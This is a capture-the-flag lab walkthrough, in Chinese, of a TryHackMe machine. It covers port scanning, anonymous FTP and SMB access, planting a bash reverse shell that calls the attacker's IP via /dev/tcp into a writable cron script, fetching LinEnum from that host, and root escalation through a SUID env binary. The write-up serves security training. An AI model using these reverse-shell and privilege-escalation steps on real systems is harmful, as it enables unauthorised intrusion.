URL : https://tryhackme.com/room/anonymous
IP : 10.10.142.45
Recon
- 掃 Port 起手式
rustscan -a 10.10.142.45 -r 1-65535 --ulimit 500022 - 21
- 139
- 445
nmap -A -p21,22,139,445 10.10.142.45- 21 : FTPVSFTPD 2.0.822 : SSH139: SMB445: SMB
嘗試連接 ftp- ftp 10.10.142.45使用 anonymous 登入 
- 發現裡面有一個
scripts資料夾先把裡面所有檔案都載下來
觀察檔案- clean.sh看起來是一段 清除資料的 bash script
removed_files.log- 看起來東西都是空的,是上述腳本的輸出
to_do.txt- 看起來沒有很重要
嘗試連線 SMB- 發現有一個 pics 資料夾
裡面有兩張圖片-
把兩張圖片載下來-
觀察圖片- 看起來是狗勾!
用 Exif tool 觀察- 

- 可以看出 Photoshop 編輯過後來還用了
steghide等程式,都沒有結果
嘗試 Exploit
- 尋找到 Vsftpd 2.3.4 有 Exploithttps://www.exploit-db.com/exploits/49757
wget https://www.exploit-db.com/download/49757 -O 49757.py- 發現他是 Anonymous only,所以這個 Exploit 不能用!!
- 用了 msf 也是一樣的結果 QQ
突然想到,說不定 ftp 上面的 clean.sh是一個 cron job- 我們既然有讀寫的權限,可以在上面戳個 reverse shell 再傳上去 echo bash -c "'bash -i >& /dev/tcp /10.13.21.55/7877 0>&1'" >> clean.sh- 本地端開 nc 來接成功接上ㄌ-

- 取得 User flag

提權
- 起手式
sudo -l看起來沒東西 QQ
準備 Linenum- wget 10.13.21.55:8000/LinEnum.sh- 掃到了
/usr/bin/env有 suid
透過 GTFOBins 尋找 env SUID 提權- /usr/bin/env /bin/sh -p成功提權-
- 取得 Root Flag

心得
FTP 上面的檔案也有可能是 Cron Job,看到 shell 就優先懷疑它是 cron ,看看能不能戳一些東西上去。打 Exploit 前須要先確定一下他有沒有一些限制(FTP的不能是 Anonymous登入)。